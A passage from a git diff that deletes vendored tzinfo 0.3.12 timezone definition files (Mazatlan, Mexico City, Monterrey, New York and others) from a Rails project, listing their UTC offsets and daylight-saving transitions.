-          tz.transition 1999, 10, :o1, 941360400
-          tz.transition 2000, 4, :o2, 954669600
-          tz.transition 2000, 10, :o1, 972810000
-          tz.transition 2001, 4, :o2, 986119200
-          tz.transition 2001, 10, :o1, 1004259600
-          tz.transition 2002, 4, :o2, 1018173600
-          tz.transition 2002, 10, :o1, 1035709200
-          tz.transition 2003, 4, :o2, 1049623200
-          tz.transition 2003, 10, :o1, 1067158800
-          tz.transition 2004, 4, :o2, 1081072800
-          tz.transition 2004, 10, :o1, 1099213200
-          tz.transition 2005, 4, :o2, 1112522400
-          tz.transition 2005, 10, :o1, 1130662800
-          tz.transition 2006, 4, :o2, 1143972000
-          tz.transition 2006, 10, :o1, 1162112400
-          tz.transition 2007, 3, :o2, 1173607200
-          tz.transition 2007, 11, :o1, 1194166800
-          tz.transition 2008, 3, :o2, 1205056800
-          tz.transition 2008, 11, :o1, 1225616400
-          tz.transition 2009, 3, :o2, 1236506400
-          tz.transition 2009, 11, :o1, 1257066000
-          tz.transition 2010, 3, :o2, 1268560800
-          tz.transition 2010, 11, :o1, 1289120400
-          tz.transition 2011, 3, :o2, 1300010400
-          tz.transition 2011, 11, :o1, 1320570000
-          tz.transition 2012, 3, :o2, 1331460000
-          tz.transition 2012, 11, :o1, 1352019600
-          tz.transition 2013, 3, :o2, 1362909600
-          tz.transition 2013, 11, :o1, 1383469200
-          tz.transition 2014, 3, :o2, 1394359200
-          tz.transition 2014, 11, :o1, 1414918800
-          tz.transition 2015, 3, :o2, 1425808800
-          tz.transition 2015, 11, :o1, 1446368400
-          tz.transition 2016, 3, :o2, 1457863200
-          tz.transition 2016, 11, :o1, 1478422800
-          tz.transition 2017, 3, :o2, 1489312800
-          tz.transition 2017, 11, :o1, 1509872400
-          tz.transition 2018, 3, :o2, 1520762400
-          tz.transition 2018, 11, :o1, 1541322000
-          tz.transition 2019, 3, :o2, 1552212000
-          tz.transition 2019, 11, :o1, 1572771600
-          tz.transition 2020, 3, :o2, 1583661600
-          tz.transition 2020, 11, :o1, 1604221200
-          tz.transition 2021, 3, :o2, 1615716000
-          tz.transition 2021, 11, :o1, 1636275600
-          tz.transition 2022, 3, :o2, 1647165600
-          tz.transition 2022, 11, :o1, 1667725200
-          tz.transition 2023, 3, :o2, 1678615200
-          tz.transition 2023, 11, :o1, 1699174800
-          tz.transition 2024, 3, :o2, 1710064800
-          tz.transition 2024, 11, :o1, 1730624400
-          tz.transition 2025, 3, :o2, 1741514400
-          tz.transition 2025, 11, :o1, 1762074000
-          tz.transition 2026, 3, :o2, 1772964000
-          tz.transition 2026, 11, :o1, 1793523600
-          tz.transition 2027, 3, :o2, 1805018400
-          tz.transition 2027, 11, :o1, 1825578000
-          tz.transition 2028, 3, :o2, 1836468000
-          tz.transition 2028, 11, :o1, 1857027600
-          tz.transition 2029, 3, :o2, 1867917600
-          tz.transition 2029, 11, :o1, 1888477200
-          tz.transition 2030, 3, :o2, 1899367200
-          tz.transition 2030, 11, :o1, 1919926800
-          tz.transition 2031, 3, :o2, 1930816800
-          tz.transition 2031, 11, :o1, 1951376400
-          tz.transition 2032, 3, :o2, 1962871200
-          tz.transition 2032, 11, :o1, 1983430800
-          tz.transition 2033, 3, :o2, 1994320800
-          tz.transition 2033, 11, :o1, 2014880400
-          tz.transition 2034, 3, :o2, 2025770400
-          tz.transition 2034, 11, :o1, 2046330000
-          tz.transition 2035, 3, :o2, 2057220000
-          tz.transition 2035, 11, :o1, 2077779600
-          tz.transition 2036, 3, :o2, 2088669600
-          tz.transition 2036, 11, :o1, 2109229200
-          tz.transition 2037, 3, :o2, 2120119200
-          tz.transition 2037, 11, :o1, 2140678800
-          tz.transition 2038, 3, :o2, 29585963, 12
-          tz.transition 2038, 11, :o1, 19725879, 8
-          tz.transition 2039, 3, :o2, 29590331, 12
-          tz.transition 2039, 11, :o1, 19728791, 8
-          tz.transition 2040, 3, :o2, 29594699, 12
-          tz.transition 2040, 11, :o1, 19731703, 8
-          tz.transition 2041, 3, :o2, 29599067, 12
-          tz.transition 2041, 11, :o1, 19734615, 8
-          tz.transition 2042, 3, :o2, 29603435, 12
-          tz.transition 2042, 11, :o1, 19737527, 8
-          tz.transition 2043, 3, :o2, 29607803, 12
-          tz.transition 2043, 11, :o1, 19740439, 8
-          tz.transition 2044, 3, :o2, 29612255, 12
-          tz.transition 2044, 11, :o1, 19743407, 8
-          tz.transition 2045, 3, :o2, 29616623, 12
-          tz.transition 2045, 11, :o1, 19746319, 8
-          tz.transition 2046, 3, :o2, 29620991, 12
-          tz.transition 2046, 11, :o1, 19749231, 8
-          tz.transition 2047, 3, :o2, 29625359, 12
-          tz.transition 2047, 11, :o1, 19752143, 8
-          tz.transition 2048, 3, :o2, 29629727, 12
-          tz.transition 2048, 11, :o1, 19755055, 8
-          tz.transition 2049, 3, :o2, 29634179, 12
-          tz.transition 2049, 11, :o1, 19758023, 8
-          tz.transition 2050, 3, :o2, 29638547, 12
-          tz.transition 2050, 11, :o1, 19760935, 8
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Mazatlan.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Mazatlan.rb
deleted file mode 100644
index ba9e6efc..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Mazatlan.rb
+++ /dev/null
@@ -1,139 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module America
-      module Mazatlan
-        include TimezoneDefinition
-        
-        timezone 'America/Mazatlan' do |tz|
-          tz.offset :o0, -25540, 0, :LMT
-          tz.offset :o1, -25200, 0, :MST
-          tz.offset :o2, -21600, 0, :CST
-          tz.offset :o3, -28800, 0, :PST
-          tz.offset :o4, -25200, 3600, :MDT
-          
-          tz.transition 1922, 1, :o1, 58153339, 24
-          tz.transition 1927, 6, :o2, 9700171, 4
-          tz.transition 1930, 11, :o1, 9705183, 4
-          tz.transition 1931, 5, :o2, 9705855, 4
-          tz.transition 1931, 10, :o1, 9706463, 4
-          tz.transition 1932, 4, :o2, 58243171, 24
-          tz.transition 1942, 4, :o1, 9721895, 4
-          tz.transition 1949, 1, :o3, 58390339, 24
-          tz.transition 1970, 1, :o1, 28800
-          tz.transition 1996, 4, :o4, 828867600
-          tz.transition 1996, 10, :o1, 846403200
-          tz.transition 1997, 4, :o4, 860317200
-          tz.transition 1997, 10, :o1, 877852800
-          tz.transition 1998, 4, :o4, 891766800
-          tz.transition 1998, 10, :o1, 909302400
-          tz.transition 1999, 4, :o4, 923216400
-          tz.transition 1999, 10, :o1, 941356800
-          tz.transition 2000, 4, :o4, 954666000
-          tz.transition 2000, 10, :o1, 972806400
-          tz.transition 2001, 5, :o4, 989139600
-          tz.transition 2001, 9, :o1, 1001836800
-          tz.transition 2002, 4, :o4, 1018170000
-          tz.transition 2002, 10, :o1, 1035705600
-          tz.transition 2003, 4, :o4, 1049619600
-          tz.transition 2003, 10, :o1, 1067155200
-          tz.transition 2004, 4, :o4, 1081069200
-          tz.transition 2004, 10, :o1, 1099209600
-          tz.transition 2005, 4, :o4, 1112518800
-          tz.transition 2005, 10, :o1, 1130659200
-          tz.transition 2006, 4, :o4, 1143968400
-          tz.transition 2006, 10, :o1, 1162108800
-          tz.transition 2007, 4, :o4, 1175418000
-          tz.transition 2007, 10, :o1, 1193558400
-          tz.transition 2008, 4, :o4, 1207472400
-          tz.transition 2008, 10, :o1, 1225008000
-          tz.transition 2009, 4, :o4, 1238922000
-          tz.transition 2009, 10, :o1, 1256457600
-          tz.transition 2010, 4, :o4, 1270371600
-          tz.transition 2010, 10, :o1, 1288512000
-          tz.transition 2011, 4, :o4, 1301821200
-          tz.transition 2011, 10, :o1, 1319961600
-          tz.transition 2012, 4, :o4, 1333270800
-          tz.transition 2012, 10, :o1, 1351411200
-          tz.transition 2013, 4, :o4, 1365325200
-          tz.transition 2013, 10, :o1, 1382860800
-          tz.transition 2014, 4, :o4, 1396774800
-          tz.transition 2014, 10, :o1, 1414310400
-          tz.transition 2015, 4, :o4, 1428224400
-          tz.transition 2015, 10, :o1, 1445760000
-          tz.transition 2016, 4, :o4, 1459674000
-          tz.transition 2016, 10, :o1, 1477814400
-          tz.transition 2017, 4, :o4, 1491123600
-          tz.transition 2017, 10, :o1, 1509264000
-          tz.transition 2018, 4, :o4, 1522573200
-          tz.transition 2018, 10, :o1, 1540713600
-          tz.transition 2019, 4, :o4, 1554627600
-          tz.transition 2019, 10, :o1, 1572163200
-          tz.transition 2020, 4, :o4, 1586077200
-          tz.transition 2020, 10, :o1, 1603612800
-          tz.transition 2021, 4, :o4, 1617526800
-          tz.transition 2021, 10, :o1, 1635667200
-          tz.transition 2022, 4, :o4, 1648976400
-          tz.transition 2022, 10, :o1, 1667116800
-          tz.transition 2023, 4, :o4, 1680426000
-          tz.transition 2023, 10, :o1, 1698566400
-          tz.transition 2024, 4, :o4, 1712480400
-          tz.transition 2024, 10, :o1, 1730016000
-          tz.transition 2025, 4, :o4, 1743930000
-          tz.transition 2025, 10, :o1, 1761465600
-          tz.transition 2026, 4, :o4, 1775379600
-          tz.transition 2026, 10, :o1, 1792915200
-          tz.transition 2027, 4, :o4, 1806829200
-          tz.transition 2027, 10, :o1, 1824969600
-          tz.transition 2028, 4, :o4, 1838278800
-          tz.transition 2028, 10, :o1, 1856419200
-          tz.transition 2029, 4, :o4, 1869728400
-          tz.transition 2029, 10, :o1, 1887868800
-          tz.transition 2030, 4, :o4, 1901782800
-          tz.transition 2030, 10, :o1, 1919318400
-          tz.transition 2031, 4, :o4, 1933232400
-          tz.transition 2031, 10, :o1, 1950768000
-          tz.transition 2032, 4, :o4, 1964682000
-          tz.transition 2032, 10, :o1, 1982822400
-          tz.transition 2033, 4, :o4, 1996131600
-          tz.transition 2033, 10, :o1, 2014272000
-          tz.transition 2034, 4, :o4, 2027581200
-          tz.transition 2034, 10, :o1, 2045721600
-          tz.transition 2035, 4, :o4, 2059030800
-          tz.transition 2035, 10, :o1, 2077171200
-          tz.transition 2036, 4, :o4, 2091085200
-          tz.transition 2036, 10, :o1, 2108620800
-          tz.transition 2037, 4, :o4, 2122534800
-          tz.transition 2037, 10, :o1, 2140070400
-          tz.transition 2038, 4, :o4, 19724143, 8
-          tz.transition 2038, 10, :o1, 14794367, 6
-          tz.transition 2039, 4, :o4, 19727055, 8
-          tz.transition 2039, 10, :o1, 14796551, 6
-          tz.transition 2040, 4, :o4, 19729967, 8
-          tz.transition 2040, 10, :o1, 14798735, 6
-          tz.transition 2041, 4, :o4, 19732935, 8
-          tz.transition 2041, 10, :o1, 14800919, 6
-          tz.transition 2042, 4, :o4, 19735847, 8
-          tz.transition 2042, 10, :o1, 14803103, 6
-          tz.transition 2043, 4, :o4, 19738759, 8
-          tz.transition 2043, 10, :o1, 14805287, 6
-          tz.transition 2044, 4, :o4, 19741671, 8
-          tz.transition 2044, 10, :o1, 14807513, 6
-          tz.transition 2045, 4, :o4, 19744583, 8
-          tz.transition 2045, 10, :o1, 14809697, 6
-          tz.transition 2046, 4, :o4, 19747495, 8
-          tz.transition 2046, 10, :o1, 14811881, 6
-          tz.transition 2047, 4, :o4, 19750463, 8
-          tz.transition 2047, 10, :o1, 14814065, 6
-          tz.transition 2048, 4, :o4, 19753375, 8
-          tz.transition 2048, 10, :o1, 14816249, 6
-          tz.transition 2049, 4, :o4, 19756287, 8
-          tz.transition 2049, 10, :o1, 14818475, 6
-          tz.transition 2050, 4, :o4, 19759199, 8
-          tz.transition 2050, 10, :o1, 14820659, 6
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Mexico_City.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Mexico_City.rb
deleted file mode 100644
index 2347fce6..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Mexico_City.rb
+++ /dev/null
@@ -1,144 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module America
-      module Mexico_City
-        include TimezoneDefinition
-        
-        timezone 'America/Mexico_City' do |tz|
-          tz.offset :o0, -23796, 0, :LMT
-          tz.offset :o1, -25200, 0, :MST
-          tz.offset :o2, -21600, 0, :CST
-          tz.offset :o3, -21600, 3600, :CDT
-          tz.offset :o4, -21600, 3600, :CWT
-          
-          tz.transition 1922, 1, :o1, 58153339, 24
-          tz.transition 1927, 6, :o2, 9700171, 4
-          tz.transition 1930, 11, :o1, 9705183, 4
-          tz.transition 1931, 5, :o2, 9705855, 4
-          tz.transition 1931, 10, :o1, 9706463, 4
-          tz.transition 1932, 4, :o2, 58243171, 24
-          tz.transition 1939, 2, :o3, 9717199, 4
-          tz.transition 1939, 6, :o2, 58306553, 24
-          tz.transition 1940, 12, :o3, 9719891, 4
-          tz.transition 1941, 4, :o2, 58322057, 24
-          tz.transition 1943, 12, :o4, 9724299, 4
-          tz.transition 1944, 5, :o2, 58349081, 24
-          tz.transition 1950, 2, :o3, 9733299, 4
-          tz.transition 1950, 7, :o2, 58403825, 24
-          tz.transition 1996, 4, :o3, 828864000
-          tz.transition 1996, 10, :o2, 846399600
-          tz.transition 1997, 4, :o3, 860313600
-          tz.transition 1997, 10, :o2, 877849200
-          tz.transition 1998, 4, :o3, 891763200
-          tz.transition 1998, 10, :o2, 909298800
-          tz.transition 1999, 4, :o3, 923212800
-          tz.transition 1999, 10, :o2, 941353200
-          tz.transition 2000, 4, :o3, 954662400
-          tz.transition 2000, 10, :o2, 972802800
-          tz.transition 2001, 5, :o3, 989136000
-          tz.transition 2001, 9, :o2, 1001833200
-          tz.transition 2002, 4, :o3, 1018166400
-          tz.transition 2002, 10, :o2, 1035702000
-          tz.transition 2003, 4, :o3, 1049616000
-          tz.transition 2003, 10, :o2, 1067151600
-          tz.transition 2004, 4, :o3, 1081065600
-          tz.transition 2004, 10, :o2, 1099206000
-          tz.transition 2005, 4, :o3, 1112515200
-          tz.transition 2005, 10, :o2, 1130655600
-          tz.transition 2006, 4, :o3, 1143964800
-          tz.transition 2006, 10, :o2, 1162105200
-          tz.transition 2007, 4, :o3, 1175414400
-          tz.transition 2007, 10, :o2, 1193554800
-          tz.transition 2008, 4, :o3, 1207468800
-          tz.transition 2008, 10, :o2, 1225004400
-          tz.transition 2009, 4, :o3, 1238918400
-          tz.transition 2009, 10, :o2, 1256454000
-          tz.transition 2010, 4, :o3, 1270368000
-          tz.transition 2010, 10, :o2, 1288508400
-          tz.transition 2011, 4, :o3, 1301817600
-          tz.transition 2011, 10, :o2, 1319958000
-          tz.transition 2012, 4, :o3, 1333267200
-          tz.transition 2012, 10, :o2, 1351407600
-          tz.transition 2013, 4, :o3, 1365321600
-          tz.transition 2013, 10, :o2, 1382857200
-          tz.transition 2014, 4, :o3, 1396771200
-          tz.transition 2014, 10, :o2, 1414306800
-          tz.transition 2015, 4, :o3, 1428220800
-          tz.transition 2015, 10, :o2, 1445756400
-          tz.transition 2016, 4, :o3, 1459670400
-          tz.transition 2016, 10, :o2, 1477810800
-          tz.transition 2017, 4, :o3, 1491120000
-          tz.transition 2017, 10, :o2, 1509260400
-          tz.transition 2018, 4, :o3, 1522569600
-          tz.transition 2018, 10, :o2, 1540710000
-          tz.transition 2019, 4, :o3, 1554624000
-          tz.transition 2019, 10, :o2, 1572159600
-          tz.transition 2020, 4, :o3, 1586073600
-          tz.transition 2020, 10, :o2, 1603609200
-          tz.transition 2021, 4, :o3, 1617523200
-          tz.transition 2021, 10, :o2, 1635663600
-          tz.transition 2022, 4, :o3, 1648972800
-          tz.transition 2022, 10, :o2, 1667113200
-          tz.transition 2023, 4, :o3, 1680422400
-          tz.transition 2023, 10, :o2, 1698562800
-          tz.transition 2024, 4, :o3, 1712476800
-          tz.transition 2024, 10, :o2, 1730012400
-          tz.transition 2025, 4, :o3, 1743926400
-          tz.transition 2025, 10, :o2, 1761462000
-          tz.transition 2026, 4, :o3, 1775376000
-          tz.transition 2026, 10, :o2, 1792911600
-          tz.transition 2027, 4, :o3, 1806825600
-          tz.transition 2027, 10, :o2, 1824966000
-          tz.transition 2028, 4, :o3, 1838275200
-          tz.transition 2028, 10, :o2, 1856415600
-          tz.transition 2029, 4, :o3, 1869724800
-          tz.transition 2029, 10, :o2, 1887865200
-          tz.transition 2030, 4, :o3, 1901779200
-          tz.transition 2030, 10, :o2, 1919314800
-          tz.transition 2031, 4, :o3, 1933228800
-          tz.transition 2031, 10, :o2, 1950764400
-          tz.transition 2032, 4, :o3, 1964678400
-          tz.transition 2032, 10, :o2, 1982818800
-          tz.transition 2033, 4, :o3, 1996128000
-          tz.transition 2033, 10, :o2, 2014268400
-          tz.transition 2034, 4, :o3, 2027577600
-          tz.transition 2034, 10, :o2, 2045718000
-          tz.transition 2035, 4, :o3, 2059027200
-          tz.transition 2035, 10, :o2, 2077167600
-          tz.transition 2036, 4, :o3, 2091081600
-          tz.transition 2036, 10, :o2, 2108617200
-          tz.transition 2037, 4, :o3, 2122531200
-          tz.transition 2037, 10, :o2, 2140066800
-          tz.transition 2038, 4, :o3, 14793107, 6
-          tz.transition 2038, 10, :o2, 59177467, 24
-          tz.transition 2039, 4, :o3, 14795291, 6
-          tz.transition 2039, 10, :o2, 59186203, 24
-          tz.transition 2040, 4, :o3, 14797475, 6
-          tz.transition 2040, 10, :o2, 59194939, 24
-          tz.transition 2041, 4, :o3, 14799701, 6
-          tz.transition 2041, 10, :o2, 59203675, 24
-          tz.transition 2042, 4, :o3, 14801885, 6
-          tz.transition 2042, 10, :o2, 59212411, 24
-          tz.transition 2043, 4, :o3, 14804069, 6
-          tz.transition 2043, 10, :o2, 59221147, 24
-          tz.transition 2044, 4, :o3, 14806253, 6
-          tz.transition 2044, 10, :o2, 59230051, 24
-          tz.transition 2045, 4, :o3, 14808437, 6
-          tz.transition 2045, 10, :o2, 59238787, 24
-          tz.transition 2046, 4, :o3, 14810621, 6
-          tz.transition 2046, 10, :o2, 59247523, 24
-          tz.transition 2047, 4, :o3, 14812847, 6
-          tz.transition 2047, 10, :o2, 59256259, 24
-          tz.transition 2048, 4, :o3, 14815031, 6
-          tz.transition 2048, 10, :o2, 59264995, 24
-          tz.transition 2049, 4, :o3, 14817215, 6
-          tz.transition 2049, 10, :o2, 59273899, 24
-          tz.transition 2050, 4, :o3, 14819399, 6
-          tz.transition 2050, 10, :o2, 59282635, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Monterrey.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Monterrey.rb
deleted file mode 100644
index 5816a9ea..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Monterrey.rb
+++ /dev/null
@@ -1,131 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module America
-      module Monterrey
-        include TimezoneDefinition
-        
-        timezone 'America/Monterrey' do |tz|
-          tz.offset :o0, -24076, 0, :LMT
-          tz.offset :o1, -21600, 0, :CST
-          tz.offset :o2, -21600, 3600, :CDT
-          
-          tz.transition 1922, 1, :o1, 9692223, 4
-          tz.transition 1988, 4, :o2, 576057600
-          tz.transition 1988, 10, :o1, 594198000
-          tz.transition 1996, 4, :o2, 828864000
-          tz.transition 1996, 10, :o1, 846399600
-          tz.transition 1997, 4, :o2, 860313600
-          tz.transition 1997, 10, :o1, 877849200
-          tz.transition 1998, 4, :o2, 891763200
-          tz.transition 1998, 10, :o1, 909298800
-          tz.transition 1999, 4, :o2, 923212800
-          tz.transition 1999, 10, :o1, 941353200
-          tz.transition 2000, 4, :o2, 954662400
-          tz.transition 2000, 10, :o1, 972802800
-          tz.transition 2001, 5, :o2, 989136000
-          tz.transition 2001, 9, :o1, 1001833200
-          tz.transition 2002, 4, :o2, 1018166400
-          tz.transition 2002, 10, :o1, 1035702000
-          tz.transition 2003, 4, :o2, 1049616000
-          tz.transition 2003, 10, :o1, 1067151600
-          tz.transition 2004, 4, :o2, 1081065600
-          tz.transition 2004, 10, :o1, 1099206000
-          tz.transition 2005, 4, :o2, 1112515200
-          tz.transition 2005, 10, :o1, 1130655600
-          tz.transition 2006, 4, :o2, 1143964800
-          tz.transition 2006, 10, :o1, 1162105200
-          tz.transition 2007, 4, :o2, 1175414400
-          tz.transition 2007, 10, :o1, 1193554800
-          tz.transition 2008, 4, :o2, 1207468800
-          tz.transition 2008, 10, :o1, 1225004400
-          tz.transition 2009, 4, :o2, 1238918400
-          tz.transition 2009, 10, :o1, 1256454000
-          tz.transition 2010, 4, :o2, 1270368000
-          tz.transition 2010, 10, :o1, 1288508400
-          tz.transition 2011, 4, :o2, 1301817600
-          tz.transition 2011, 10, :o1, 1319958000
-          tz.transition 2012, 4, :o2, 1333267200
-          tz.transition 2012, 10, :o1, 1351407600
-          tz.transition 2013, 4, :o2, 1365321600
-          tz.transition 2013, 10, :o1, 1382857200
-          tz.transition 2014, 4, :o2, 1396771200
-          tz.transition 2014, 10, :o1, 1414306800
-          tz.transition 2015, 4, :o2, 1428220800
-          tz.transition 2015, 10, :o1, 1445756400
-          tz.transition 2016, 4, :o2, 1459670400
-          tz.transition 2016, 10, :o1, 1477810800
-          tz.transition 2017, 4, :o2, 1491120000
-          tz.transition 2017, 10, :o1, 1509260400
-          tz.transition 2018, 4, :o2, 1522569600
-          tz.transition 2018, 10, :o1, 1540710000
-          tz.transition 2019, 4, :o2, 1554624000
-          tz.transition 2019, 10, :o1, 1572159600
-          tz.transition 2020, 4, :o2, 1586073600
-          tz.transition 2020, 10, :o1, 1603609200
-          tz.transition 2021, 4, :o2, 1617523200
-          tz.transition 2021, 10, :o1, 1635663600
-          tz.transition 2022, 4, :o2, 1648972800
-          tz.transition 2022, 10, :o1, 1667113200
-          tz.transition 2023, 4, :o2, 1680422400
-          tz.transition 2023, 10, :o1, 1698562800
-          tz.transition 2024, 4, :o2, 1712476800
-          tz.transition 2024, 10, :o1, 1730012400
-          tz.transition 2025, 4, :o2, 1743926400
-          tz.transition 2025, 10, :o1, 1761462000
-          tz.transition 2026, 4, :o2, 1775376000
-          tz.transition 2026, 10, :o1, 1792911600
-          tz.transition 2027, 4, :o2, 1806825600
-          tz.transition 2027, 10, :o1, 1824966000
-          tz.transition 2028, 4, :o2, 1838275200
-          tz.transition 2028, 10, :o1, 1856415600
-          tz.transition 2029, 4, :o2, 1869724800
-          tz.transition 2029, 10, :o1, 1887865200
-          tz.transition 2030, 4, :o2, 1901779200
-          tz.transition 2030, 10, :o1, 1919314800
-          tz.transition 2031, 4, :o2, 1933228800
-          tz.transition 2031, 10, :o1, 1950764400
-          tz.transition 2032, 4, :o2, 1964678400
-          tz.transition 2032, 10, :o1, 1982818800
-          tz.transition 2033, 4, :o2, 1996128000
-          tz.transition 2033, 10, :o1, 2014268400
-          tz.transition 2034, 4, :o2, 2027577600
-          tz.transition 2034, 10, :o1, 2045718000
-          tz.transition 2035, 4, :o2, 2059027200
-          tz.transition 2035, 10, :o1, 2077167600
-          tz.transition 2036, 4, :o2, 2091081600
-          tz.transition 2036, 10, :o1, 2108617200
-          tz.transition 2037, 4, :o2, 2122531200
-          tz.transition 2037, 10, :o1, 2140066800
-          tz.transition 2038, 4, :o2, 14793107, 6
-          tz.transition 2038, 10, :o1, 59177467, 24
-          tz.transition 2039, 4, :o2, 14795291, 6
-          tz.transition 2039, 10, :o1, 59186203, 24
-          tz.transition 2040, 4, :o2, 14797475, 6
-          tz.transition 2040, 10, :o1, 59194939, 24
-          tz.transition 2041, 4, :o2, 14799701, 6
-          tz.transition 2041, 10, :o1, 59203675, 24
-          tz.transition 2042, 4, :o2, 14801885, 6
-          tz.transition 2042, 10, :o1, 59212411, 24
-          tz.transition 2043, 4, :o2, 14804069, 6
-          tz.transition 2043, 10, :o1, 59221147, 24
-          tz.transition 2044, 4, :o2, 14806253, 6
-          tz.transition 2044, 10, :o1, 59230051, 24
-          tz.transition 2045, 4, :o2, 14808437, 6
-          tz.transition 2045, 10, :o1, 59238787, 24
-          tz.transition 2046, 4, :o2, 14810621, 6
-          tz.transition 2046, 10, :o1, 59247523, 24
-          tz.transition 2047, 4, :o2, 14812847, 6
-          tz.transition 2047, 10, :o1, 59256259, 24
-          tz.transition 2048, 4, :o2, 14815031, 6
-          tz.transition 2048, 10, :o1, 59264995, 24
-          tz.transition 2049, 4, :o2, 14817215, 6
-          tz.transition 2049, 10, :o1, 59273899, 24
-          tz.transition 2050, 4, :o2, 14819399, 6
-          tz.transition 2050, 10, :o1, 59282635, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/New_York.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/New_York.rb
deleted file mode 100644
index 7d802bd2..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/New_York.rb
+++ /dev/null
@@ -1,282 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module America
-      module New_York
-        include TimezoneDefinition
-        
-        timezone 'America/New_York' do |tz|
-          tz.offset :o0, -17762, 0, :LMT
-          tz.offset :o1, -18000, 0, :EST
-          tz.offset :o2, -18000, 3600, :EDT
-          tz.offset :o3, -18000, 3600, :EWT
-          tz.offset :o4, -18000, 3600, :EPT
-          
-          tz.transition 1883, 11, :o1, 57819197, 24
-          tz.transition 1918, 3, :o2, 58120411, 24
-          tz.transition 1918, 10, :o1, 9687575, 4
-          tz.transition 1919, 3, :o2, 58129147, 24
-          tz.transition 1919, 10, :o1, 9689031, 4
-          tz.transition 1920, 3, :o2, 58137883, 24
-          tz.transition 1920, 10, :o1, 9690515, 4
-          tz.transition 1921, 4, :o2, 58147291, 24
-          tz.transition 1921, 9, :o1, 9691831, 4
-          tz.transition 1922, 4, :o2, 58156195, 24
-          tz.transition 1922, 9, :o1, 9693287, 4
-          tz.transition 1923, 4, :o2, 58164931, 24
-          tz.transition 1923, 9, :o1, 9694771, 4
-          tz.transition 1924, 4, :o2, 58173667, 24
-          tz.transition 1924, 9, :o1, 9696227, 4
-          tz.transition 1925, 4, :o2, 58182403, 24
-          tz.transition 1925, 9, :o1, 9697683, 4
-          tz.transition 1926, 4, :o2, 58191139, 24
-          tz.transition 1926, 9, :o1, 9699139, 4
-          tz.transition 1927, 4, :o2, 58199875, 24
-          tz.transition 1927, 9, :o1, 9700595, 4
-          tz.transition 1928, 4, :o2, 58208779, 24
-          tz.transition 1928, 9, :o1, 9702079, 4
-          tz.transition 1929, 4, :o2, 58217515, 24
-          tz.transition 1929, 9, :o1, 9703535, 4
-          tz.transition 1930, 4, :o2, 58226251, 24
-          tz.transition 1930, 9, :o1, 9704991, 4
-          tz.transition 1931, 4, :o2, 58234987, 24
-          tz.transition 1931, 9, :o1, 9706447, 4
-          tz.transition 1932, 4, :o2, 58243723, 24
-          tz.transition 1932, 9, :o1, 9707903, 4
-          tz.transition 1933, 4, :o2, 58252627, 24
-          tz.transition 1933, 9, :o1, 9709359, 4
-          tz.transition 1934, 4, :o2, 58261363, 24
-          tz.transition 1934, 9, :o1, 9710843, 4
-          tz.transition 1935, 4, :o2, 58270099, 24
-          tz.transition 1935, 9, :o1, 9712299, 4
-          tz.transition 1936, 4, :o2, 58278835, 24
-          tz.transition 1936, 9, :o1, 9713755, 4
-          tz.transition 1937, 4, :o2, 58287571, 24
-          tz.transition 1937, 9, :o1, 9715211, 4
-          tz.transition 1938, 4, :o2, 58296307, 24
-          tz.transition 1938, 9, :o1, 9716667, 4
-          tz.transition 1939, 4, :o2, 58305211, 24
-          tz.transition 1939, 9, :o1, 9718123, 4
-          tz.transition 1940, 4, :o2, 58313947, 24
-          tz.transition 1940, 9, :o1, 9719607, 4
-          tz.transition 1941, 4, :o2, 58322683, 24
-          tz.transition 1941, 9, :o1, 9721063, 4
-          tz.transition 1942, 2, :o3, 58329595, 24
-          tz.transition 1945, 8, :o4, 58360379, 24
-          tz.transition 1945, 9, :o1, 9726915, 4
-          tz.transition 1946, 4, :o2, 58366531, 24
-          tz.transition 1946, 9, :o1, 9728371, 4
-          tz.transition 1947, 4, :o2, 58375267, 24
-          tz.transition 1947, 9, :o1, 9729827, 4
-          tz.transition 1948, 4, :o2, 58384003, 24
-          tz.transition 1948, 9, :o1, 9731283, 4
-          tz.transition 1949, 4, :o2, 58392739, 24
-          tz.transition 1949, 9, :o1, 9732739, 4
-          tz.transition 1950, 4, :o2, 58401643, 24
-          tz.transition 1950, 9, :o1, 9734195, 4
-          tz.transition 1951, 4, :o2, 58410379, 24
-          tz.transition 1951, 9, :o1, 9735679, 4
-          tz.transition 1952, 4, :o2, 58419115, 24
-          tz.transition 1952, 9, :o1, 9737135, 4
-          tz.transition 1953, 4, :o2, 58427851, 24
-          tz.transition 1953, 9, :o1, 9738591, 4
-          tz.transition 1954, 4, :o2, 58436587, 24
-          tz.transition 1954, 9, :o1, 9740047, 4
-          tz.transition 1955, 4, :o2, 58445323, 24
-          tz.transition 1955, 10, :o1, 9741643, 4
-          tz.transition 1956, 4, :o2, 58454227, 24
-          tz.transition 1956, 10, :o1, 9743099, 4
-          tz.transition 1957, 4, :o2, 58462963, 24
-          tz.transition 1957, 10, :o1, 9744555, 4
-          tz.transition 1958, 4, :o2, 58471699, 24
